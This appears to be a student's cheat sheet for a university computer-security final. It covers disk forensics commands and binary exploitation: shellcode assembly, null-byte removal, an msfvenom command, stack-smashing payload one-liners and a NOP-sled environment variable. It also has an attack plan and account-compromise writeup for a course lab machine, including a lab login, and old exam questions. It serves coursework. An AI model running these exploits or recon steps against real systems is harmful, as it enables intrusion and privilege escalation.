

## Disk Forensics - Getting information about a disk image

- To mount
  - `mount -o loop <img name>.img <name of directory>`
- debugfs help: <http://manpages.ubuntu.com/manpages/zesty/en/man8/debugfs.8.html>
- Free space on a disk
  - Without mounting first
    - `debugfs <img name>.img`
      - `show_super_stats`
        - `fFree blocks * block size = free space`
  - Mount the image (NOTE: THIS GIVES A DIFFERENT AMOUNT, and I got points off in the homework, but still seems relevant as a backup)
    - `df -h`
      - Will be the file system `/dev/loop0`, gives “Avail” memory
- How many mounts til next filesystem check
  - `dumpe2fs -h <image name>.img`
    - See “Maximum mount count” and “Mount count”
    - Also see “Next check after: “
- Which operating system created?
  - `dumpe2fs <image name>.img | grep Filesystem`
- How many block groups?
  - `dumpe2fs <image name>.img | grep “Group [0-9]*” | wc -l`
- What type of filesystem is the image
  - Without mounting
    - `blkid <image name>.img`
      - Check under the “TYPE” (note: NOT the secondary SEC\_TYPE)
    - `fsstat <image name>.img`
      - At the very top, “File System Type”
      - `fsstat` has a bunch of information about each block group as well (and inode ranges, etc)
  - Mount the image
    - `df -T`
      - Check the “Type” column
- Find info about the block bitmap
  - `debugfs <img name>.img`
    - `Show_super_stats`
- Find information about deleted inodes
  - `debugfs <img name>.img`
    - `Lsdell`
    - `Cat <inode> // you need the <>`
    - `Dump <inode> /dir/you/want #again you need the <>`
- Find the last modification time
  - `debugfs <img name>.img`

- stats
- Find a file that is within a certain block group of the image
  - fsstat <image name>.img **OR** dumpe2fs <image name>.img
    - Go to that block group, and see the block ranges
    - First method (for example block range 1-8192):
      - debugfs <image name>.img -R "testb 1 8192" | grep -v not | less
        - Show the used blocks, look for jumps, which mark the beginning of a file
        - debugfs hw3.img -R "icheck <block #>"
          - Find the inodes the beginning of files map to
          - debugfs hw3.img -R "ncheck <inode #>"
            - Find filenames with those inodes
      - Second method:
        - Debugfs <image name>.img
          - ls -l
          - Find the filenames, with their inode number
          - Try each inode to see if its blocks are within the range of block group 0
            - Stat <13> (where 13 is the inode number)
            - Stat words (where words is the filename)
              - Outputs: "BLOCKS: (0-11):2561-2572"
              - where 2561-2572 is a range of used blocks
  - How many directories are in a certain block group
    - fsstat <image name>.img
    - debugfs -R "stats" <image name>.img
      - Check at the bottom to see the information for all block groups
  - Find blocks associated with a certain file
    - debugfs <image name>.img
      - blocks <filename>
  - Finding files in the image
    - Mount it, then cd into that folder where it is mounted
      - ls -lRa
        - Look for interesting files
    - Find files of a certain type, like ppt
      - find ./ -name \*.pptx 2>/dev/null
    - Find files in the unallocated memory
      - fls -rd <image name>.img | less
      - fls -rd <image name>.img | grep <part of the filename you are looking for>
      - (Sleuth kit reference for fls command: <http://www.sleuthkit.org/sleuthkit/man/fls.html#toc>)
    - Find strings within the image
      - strings ~/Desktop/<image name>.img | grep "<string(s) you are looking for>"

- For recovering deleted items
  - After mounting: extundelete /dev/loop0 --restore-all
    - Will create a “Recovered files” folder
  - Before mounting: foremost hw3.img
    - Will place files in output folder in the same directory
- Use openssl to decrypt
  - openssl <encryption type, such as “aes-256-cbc”> -d -in <the encrypted filename> -out <the decrypted filename to be created>-decrypted
  - <http://stackoverflow.com/questions/16056135/how-to-use-openssl-to-encrypt-decrypt-files>
- Comparing two files
  - Example: diff /mnt/tmp/words /usr/share/dict/words
- Finding several lines around a word
  - grep -A10 “<string you are looking for>”
    - Gives the 10 lines after the found line
  - grep -B10 “<string you are looking for>”
    - Gives 10 lines before
- Finding 3 vowels in a row
  - egrep “[aeiou]{3,}” ^.+[aeiou][aeiou]y\$” /usr/share/dict/words
- Finding 3 consonants in a row
  - grep -i “[b-df-hj-np-tv-z]{2,}[b-df-hj-np-tv-xz]” /mnt/tmp/words
- Finding unique IP addresses in an image
  - Cat <image name>.img | grep -ao [0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3} | sort | uniq | wc -l
  - egrep -oa “[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}” <filename> | sort -u | wc -l
- Finding unique IP addresses within a subnet
  - egrep -aw “10\.241\.13\.[0-9]{1,3}” <filename>
  - In Wireshark
    - ip.host matches “10\.241\.13\.[0-9]+”
- To understand what is wrong with an inode:
  - debugfs <image name>.img
    - stat <inode number> >
      - May show out-of-range blocks (use show\_super\_stats to see total # of blocks)
    - imap <inode number> >
      - May show where inode is stored (“located at block \_\_”)
      - View the contents of that block w bless, autopsy, extundelete, etc
      - EXAMPLE?
- To see where a device was mounted
  - <https://en.wikipedia.org/wiki/Mtab> (Try this out -> cat /etc/mtab)
  - To copy it to an image (assuming it was mounted on /dev/sdb1)
    - dd if=/dev/sdb1 of=found.img

## **CODE ERRORS**

- Look for possible exploit points
  - An input stored to a "chr" type can be converted to its ascii value
    - 'd' - '0' = 52, etc.
  - Look for potential buffer overflows
    - User input stored in an array of fixed size, copied with
      - strcpy
      - Scanf with only one parameter
  - Check for arrays that might be allocated to a length of 0
- What kind of machine code is the executable
  - file <filename>
  - readelf -h <filename>
    - See the "Class" and "Machine"
  - readelf -a <filename>
- If you get permission denied when running an executable
  - chmod a+x <executable name>.out
- What is the entry point address
  - readelf -a <filename>
- Find details about a section of the executable (remember, this is in hex)
  - readelf -t <filename> | less
- To do an object dump of an executable into assembly
  - objdump -M intel -d -C -S <executable name>.out > <assembly dump file name>.asm
- Find the glibc functions called in the executable
  - readelf -a <executable name>.out | grep GLIBC | grep FUNC
- Find the glibc objects used in the executable
  - readelf -a <executable name>.out | grep GLIBC | grep OBJ
- Using gdb:
  - To find the functions in a file
    - TODO - look at HW4 q 2, Lab6 q 3, Lab 7 (also look at Isaacs info below)
  - Views helpful for setting the breakpoints
    - List
    - Layout asm (?)
  - Setting a variable to something else
    - set <variable name>=<something else>
  - Finding the address of a variable
    - b main
    - r <filename>
    - p &<variable>
  - Disassemble a function in the compiled executable

- disassem <function name>
- Common ways of improving code errors
  - Scanf
    - Use length-restriction
      - scanf ("%8s", user)
        - 8-characters only
    - Use memory-modifier to allocate memory on demand (needs "user" variable to be a pointer first, though)
      - scanf ("%ms", &user)
    - Use fgets instead of scanf
  -

## **Shell coding**

- Updating the system date
  - date --set="2 OCT 2006 17:59:55"
- Going back and forth between an assembly file and an executable
  - Start with assembly instructions, save as file "hack.s"
    - nasm -f elf64 hack.s
      - Creates hack.o
    - ld hack.o
      - Links the file - results in file "a.out"
      - If there is an error, then check ld -V to show versions of linkers
        - Ld -m <linker version> hack.o
  - To create a position-independent object file
    - Nasm hack.s
      - Creates hack
    - Ndisasm -b 64 hack
      - Outputs the disassembled code to terminal (if 64 bit machine)
- Finding the "space" characters (ASCII 32) in an object file
  - hexdump -C hack | grep 20
    - (NOTE: make sure it is 20 within a byte, not between 2 bytes like "0203"...)
- Removing null bytes (2 zeroes representing a whole byte)
  - For an initial "call" function
    - Create a label at bottom of assembly code ("end:")
    - Put the call function there
    - At the top, where the function was originally, put "jump short end"
  - Method 1: Xor and then add the value
    - xor rsi, rsi
    - add rsi, 14
  - Method 2: Adding a small value to a register
    - xor rax, rax ; zero out entire rax
    - mov al, 4 ; use the lower byte region of rax
  - Method 3: Add padded, then shifts to remove the F's

- `mov rsi,0x1111110E`
  - `shl rsi,0x38`
  - `shr rsi,0x38`
- Method 4: msfvenom
  - `msfvenom --payload linux/x64/exec CMD=/bin/date --encoder x86/shikata_ga_nai -b '\x00\x20' > foo_new`
- Finding information in preparation for stack smashing
  - Not in gdb
    - `Objdump -d <executable name>`
  - Compile
    - `g++ -g -z execstack -fno-stack-protector <c code file>.c`
    - After running gdb
      - Set disable-randomization on
  - In gdb
    - `list`
      - Shows the code in gdb, lets you see good spots to put breakpoints
    - `B <function name>`
    - `B * main + 45`
    - `C`
    - `Info frame`
    - `x/32xg $rsp`
    - `run `python -c "print('A'*24 + '\x24\x30\x11\x10')"`
      - An example of stack smashing
        - Number of characters will likely be some multiple of 8 characters
    - `P &str`, and find the `&rip`, and find the difference in the addresses
  - From the command line (not gdb)
    - `python -c "print('A'*32 + '\x44\x84\x04\x08')"` | `./vuln`

## **Cryptography**

- Factoring large prime numbers
  - “Fermat factorization with python” in google, and just update n

## **TODO (ERIC)**

- Try out Bless (also in Lab7 0.a.ii) and Autopsy (HW3 answer key for passwords question) to view a block's contents
- Try out scalpel - lab5, final problem (also try foremost --Luke)
- Read more about strings: <https://linux.die.net/man/1/strings>
- How to use wireshark to sniff packets
- Create a symlink and run that file from the symlinked file
- Use GDB to look for functions in a file
- Create a new "date" function in the PATH so that it runs instead

(gdb) info frame

Stack level 0, frame at 0x7ffffffe2b0:

rip = 0x400813 in main (return.c:9); saved rip = 0x7ffff71c72b1 ← return address for the frame  
(the value stored at the address below)

source language c++.

Arglist at 0x7ffffffe2a0, args: argc=2, argv=0x7ffffffe388

Locals at 0x7ffffffe2a0, Previous frame's sp is 0x7ffffffe2b0

Saved registers:

rbp at 0x7ffffffe2a0, rip at 0x7ffffffe2a8 ← the address where the return address for the frame is stored \*\* the address we want to overwrite

## **PLAN OF ATTACK**

- Install PEDA while reading the final
- Check for hints on foswiki for a user to give us access to the machine
  - View source of the final's website
- Nmap the target machine so see if there are open ports
  - Nmap <target IP>
- Ssh <user>@<target IP>
- Try to know the classes of each user
  - cat /etc/group | grep <"monarch" or whatever>
  - Getent group
  - Getent passwd
- If there is a file we are looking for
  - Find / -name <filename> 2>/dev/null
  - /home\$ ls -lR ./ | grep <filename>
- ls -la ( or ls -lsha )
  - Look for sticky bit executables to let us run as a different user

- Find and read those .C files associated with those executables, so we can figure out how to exploit them to give us the info that we want
- What to do when you only have an executable
  - Run it
  - Play around with different inputs, different numbers of args
    - Ints, negatives, characters, strings
  - file <executable name>
  - Objdump -d <executable>
  - Strings <executable>

#### Set up GDB with PEDA

```
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
```

#### Useful gdbinit settings

```
echo "set disassembly-flavor intel" >> ~/.gdbinit
echo "set disable-randomization on" >> ~/.gdbinit
```

#### Symlink

```
ln -s {target-filename} {symbolic-filename}
```

#### To run 32 bit c code on Kali

```
sudo apt-get install libc6-dev-i386
gcc -m32 <filename>.c
```



To run 32 bit c++ code on Kali

```
sudo apt-get install gcc-multilib g++-multilib
```

```
g++ -m32 <filename>.c
```

getenvaddress.c

```
#include <stdio.h>
```

```
#include <stdlib.h>
```

```
#include <string.h>
```

```
int main(int argc, char *argv[]) {
```

```
    char *ptr;
```

```
    if(argc < 3) {
```

```
        printf("Usage: %s <environment variable> <target program name>\n",
```

```
argv[0]);
```

```
        exit(0);
```

```
    }
```

```
    ptr = getenv(argv[1]); /* get env var location */
```

```
    ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
```

```
    printf("%s will be at %p\n", argv[1], ptr);
```

```
}
```

## Isaac's Useful GDB Commands:

start	same as break main; run
fin	finish function, loop
list 1	print out c code if -g flag was used
p <hex addr> - <hex addr>	use gdb to calculate distance between addresses
disass main	get assembly code (don't have to objdump)
x/32xg \$rsp	examine 32 qwords of the 64-bit stack (in hex)
x/32xw \$esp	examine 32 dwords of the 32-bit stack (in hex)
x/s	examine as string
x/1000s \$rsp	examine strings on the stack
x/24s \$rsp + 0x<offset>	examin ENV variables, calculate offset with getenvaddress.c above
i	list all info commands
i frame	stack frame info
i reg	register info

## Setting up ENV Shellcode:

exploit\_text.txt has something like:

```
"\x31\xc0\x32.....\x32"  
"\x31\xc0\x32.....\x32"  
"\x31.....\x32"
```

```
$ for i in $(head exploit_txt.txt | grep "^\"" | cut -d\" -f2)  
> do  
> echo -en $i
```

```
> done > shellcode.bin
```

now shellcode.bin has the binary. Add NOP sled and save in env var SHELLCODE:

```
$ export SHELLCODE=$(perl -e 'print "\x90"x200')$(cat shellcode.bin)
```

## Binary to Shellcode:

```
for i in `objdump -d <filename> | tr '\t' ' ' | tr ' ' '\n' | egrep  
'^[0-9a-f]{2}$' ` ; do echo -n "\x$i" ; done
```

## OLD FINAL

### Problem 0 - Short answer **[40 points]**

Please answer the following questions with a *brief* but complete answer:

#### **0a. [15 points]**

Consider the following file plus.C that was compiled with `g++ -g -pie -fpie plus.C`:

```
int plus(int xx, int yy) {  
    int cc = xx + yy;  
    return cc;  
}
```

```

}

int main(int argc, char **argv) {
    return plus(1,2);
}

```

This code is stopped within the plus procedure and the stack looks as follows:

```

(gdb) x/16xw $esp
0xbffff6e8:  0xbffff7ac  0xb7e4964d  0xb7fc13c4  0x00000003
0xbffff6f8:  0xbffff708  0x8000060b  0x00000001  0x00000002
0xbffff708:  0x00000000  0xb7e2fa83  0x00000001  0xbffff7a4
0xbffff718:  0xbffff7ac  0xb7feccea  0x00000001  0xbffff7a4

```

- What are the *addresses* of **xx**, **yy**, and **cc**?
- Where is the **return pointer** located? To what address is it pointing?
- What is the *address* of **argc**?

## 0b. [15 points]

The following is a ROT encoding of the *English letters* of an ssh public key:

```
vvk-uvd DDDDE3QcdF1bf2HDDDDDEDzDDDDIi urrw@xexqwx
```

- What is the public modulus *N* and its factors?
- What is the public key *e*?
- What is the private key *d*?

## 0c. [10 points]

Consider the following program repeat.C:

```

#include <iostream>

#include <cstdlib>
#include <cstdio>

void repeat(int num, char *str) {
    for (int ii=0; ii<num; ii++)
        printf(str);
}

int main(int argc, char *argv[]) {
    int num1 = atoi(argv[1]);
    repeat(num1,argv[2]);
}

```

}

After compiling g++ repeat.C on the Kali VM and running the resulting executable, which of the following could be produced for an appropriate command-line arguments: (*select all that apply; verbatim text indicates a verbatim output response*)

- i. *(no output)*
- ii. *hihihi*
- iii. *hihihithere*
- iv. *(Segmentation fault)*
- v. *%%%*
- vi. *address of main*
- vii. *four bytes at address 0x0000f1a1*
- viii. *working directory from which the code was executed*

## Problem 1 - Infiltration [60 points + 10 extra]

This problem focuses on the target machine at 10.241.13.81.

Your goal is to get gain access to as many accounts as possible on the target machine without displaying gross negligence.<sup>(1)</sup>

Please observe the following important notes as you proceed:

- Assume that this machine has been *thoroughly compromised*.
- This is a production machine. Do **not** make changes to it until they are *absolutely* necessary ... and even then, you should make the *absolute minimum* changes needed (and change them back after use).

You will prove your access to an account by providing the contents of the data.txt file in the account's home directory.

For each owned account, credit will be based on the most privileged group to which it belongs:

- monarch : 13 points
- noble : 9 points
- plebe : 4 point

### 1a - Hints

- One of the accounts has user lab and password labuser.
- The ftp server is vulnerable.
- The source code for 5runMe is:

```
#include <cstdlib>
```

```
int main() {  
    system("less /var/tmp/blank.txt");  
}
```



## LUKE PROBLEM 1 WRITEUPS:

All users: getent passwd

All groups: getent group

Recon:

```
cd /home/
```

```
ls -lR ./
```

```
ls -lR ./ | grep data.txt (see if any are readable)
```

G	username	password	data.txt	How to get data
N	ballsnazzy		We will steadfastly and unceasingly resell wireless solutions for today's capital-based market leaders.	world readable
N	cookbee			symlink in /var/tmp/blank.txt to cookbee/data.txt
P	lab	labuser	You are now taking a final exam.	simple read
N	railsfax		The mobility of polymorphism is in fact quite open-minded in its anthropology.	./2runme <insert 10 characters as the input>
X	yohanan			
M	bluefoggy			shellcode in 4runMe
P	ftper			
M	missionmug		The psychology of morphology is nearly dogmatic in its economics.	get number from cmp in objdump
N	seetow		The 1992 Merlot from Pepsi Vineyards mixes	./runMe "less /home/seetow/data.txt"

			magnetic halibut undertones with a oaty onion essence.	
M	root			
?	www-data		In off-balance-sheet markets, be sure to divest from high-yield long positions.	<a href="http://10.241.13.81/data.txt">http://10.241.13.81/data.txt</a>

## OLDER FINAL

### Problem 0 - Short answer **[20 points]**

Please answer the following questions with a *brief* but complete answer:

1. [10 points] Etsi palvelimen Rutgers University, joka on altis hyödyntää CVE 2006-4602.



- a. Dont think any are anymore
- 2. [10 points] Factor the following product of two primes:  
1606938044258990275541962106630120168294804807453631398064143.
  - a. Google "Fermat Factorization"

## Problem 1 - Infiltration [40 points]

This problem focuses on the target machine at 10.241.13.76. Please observe the following important notes as you proceed:

- Assume that this machine has been *thoroughly compromised*. Do **not** use any secret or private information (e.g. other passwords) on this machine.
- This is a production machine. Do **not** make changes to it until they are *absolutely* necessary ... and even then, you should make the *absolute minimum* changes needed.

### 1a - Discovery [15 points]

Please note the following about the target machine in your solution:<sup>(1)</sup>

- i. [5 points] Operating system and version
- ii. [5 points] Open ports and services (with versions) running on those ports
- iii. [5 points] User accounts on the machine, noting those who have super-user access

### 1b - Preliminary [10 points]

Find the TWiki page hosted by the target machine.

- i. [5 points] What version of the TWiki is it running?
- ii. Log onto the TWiki hosted by the target machine:
  - a. [3 points] What is Ben Turtles' fiance's name?
  - b. [2 points] Prove that you have access by creating the topic Ec521AriTrachtenberg in the Main web.

### 1c - Getting shell [10 points]

Gain access to a non-root shell on the target machine.

- i. [5 points] Find a world-readable file called ec521README and output its contents.
- ii. [5 points] Prove your access by creating a file AriTrachtenberg in /usr/tmp on the target.

## 1d - Privilege escalation [5 points]

Gain access to a root shell on the target machine.

- i. [3 points] What is the hash of the root user's password?
- ii. [2 points] Prove your access by *adding* your WikiName to the *end* of the message of the day.

## Problem 2 - Multi-stage attack [40 points]

Please run the following code, through which this problem will unfold: [\(2\)](#)

*Note: Use the TWiki Name AriTrachtenberg when completing this old final for practice.*

```
3  #include <iostream>
    #include <cstring>
    #include <cstdio>
    using namespace std;

    char *hash(char *input) {
        const long N = 189011;
        char *result = new char[11];
        int ii;
        for (ii=0; ii<strlen(input); ii++) {
            result[ii] = ((input[ii]-27)%N)%26 + 65;
        }
        result[ii]=0;
        return result;
    }

    int main() {
        bool result = false;
        char user[11], pass[11];
        cout << "TWikiName: "; cin >> user;
        cout << "Password: "; cin >> pass;
        if (strcmp(hash(pass),"WLM")==0) result = true;

        if (result) {
            printf("Answer A: [15 points] first output line of:\n");
            printf("http://algorithmics.bu.edu\nGET /lab/%s HTTP/1.0\n\n",
                    hash(user));
        }
    }
```

```
    }  
    else  
        cout << "Wrong password; hash was " << hash(pass) << endl;  
}
```

## Extra credit [5 points]

Decode the comment stored in the meta-data of our course logo on the main TWiki page.

---

### Notes

**1** : You might want to try the other parts of this question first.

**2** : Hint for later parts: the [file](#) command can give you useful information about the nature of an unknown file.

## Background - interspersed

- Laws and Ethics
  - Jailed hackers
- Introduction to system programming
  - Intel Assembly
  - C/C++
  - low-level debugging
  - memory management
- Introduction to operating systems
  - shell
  - access permissions
  - file systems
- Introduction to networking
  - TCP/IP
  - socket programming
  - network protocols: HTTP, FTP, DNS
- Basic math
  - probability
  - discrete math
  - number theory

## Social

- Social engineering
  - Psychology
  - Physical access

- Phishing
- Social networks
- User interface redressing
  - Clickjacking, tapjacking, tabnabbing, cursorjacking, likejacking, ...
- Defenses

## Web

- Engines
  - Dorks
- Web Apps
  - SQL injection
  - cross-side scripting (XSS)
  - cross-side request forgeries (CSRF)
  - open relay
  - Same-Origin Policy bypasses
  - denial of service (DoS)
  - Cross Side History Manipulation
- Defenses

## Network

- Fingerprinting
  - Operating Systems
  - Applications
- Port scanning
- Protocol mangling
- Wireless network cracking
- Defenses
  - tar pits
  - honeypots

## Software

- Interface errors
  - metric-English
  - java-C
- Code analysis
  - Taxonomy of coding errors
  - Overflows
    - buffer, stack, heap
    - format string
  - Return-oriented programming (ROP)
    - return to libc
  - Binary analysis

- Reverse engineering
  - Fuzzying
- Shellcode
  - executables
    - port binding, reverse bind, meterpreter, ...
  - No-Op (NOP) sleds
  - polymorphism
- Defenses
  - Address space layout randomization (ASLR)
  - Data execution prevention (DEP)
  - Stack canaries

## Operating system

- Access control
  - executability
  - groups, users
  - password hashes
- Privilege escalation
  - password cracking
  - suid/sgid scripts
- Denial of Service
  - Digital Bombs
    - fork, zip
- Backdoors
  - Rootkits
  - Trojans/worms/viruses
  - BOTs and BOTNETs
- Defenses

## Disk

- Structure
- Hidden files/directories
- Deletion/undeletion
- Forensics
- Defenses

## Advanced

- Applied Cryptography
  - fundamentals
    - confidentiality
    - integrity
    - availability
    - non-repudiation

- hashing
  - DES, Message-Digest 5 (MD5)
  - Secure Hash Algorithm (SHA-1, -2, -3)
  - Advanced Encryption Standard (AES)
  - Hash modes
    - Electronic CodeBook (ECB)
    - Cipher Block Chaining (CBC)
    - Elements
      - Initialization Vector (IV)
      - Key, length
  - hash chains, Merkle trees
    - bitcoin
  - Key-hashed message authentication code (HMAC)
  - attacks
    - common prefix
    - modification
    - length extension
- symmetric-key encryption
  - Attacks/defenses
- public-key encryption
  - Generic attacks/defenses
    - blinding, padding, timing, random faults, lattices
  - RSA
    - theory
    - implementation
    - attacks
- Smartphones
  - security models
    - full disk encryption
    - paranoid networking
    - signed binaries
  - sensors
  - Subsystems
    - sensors, SIM, baseband processor, assisted GPS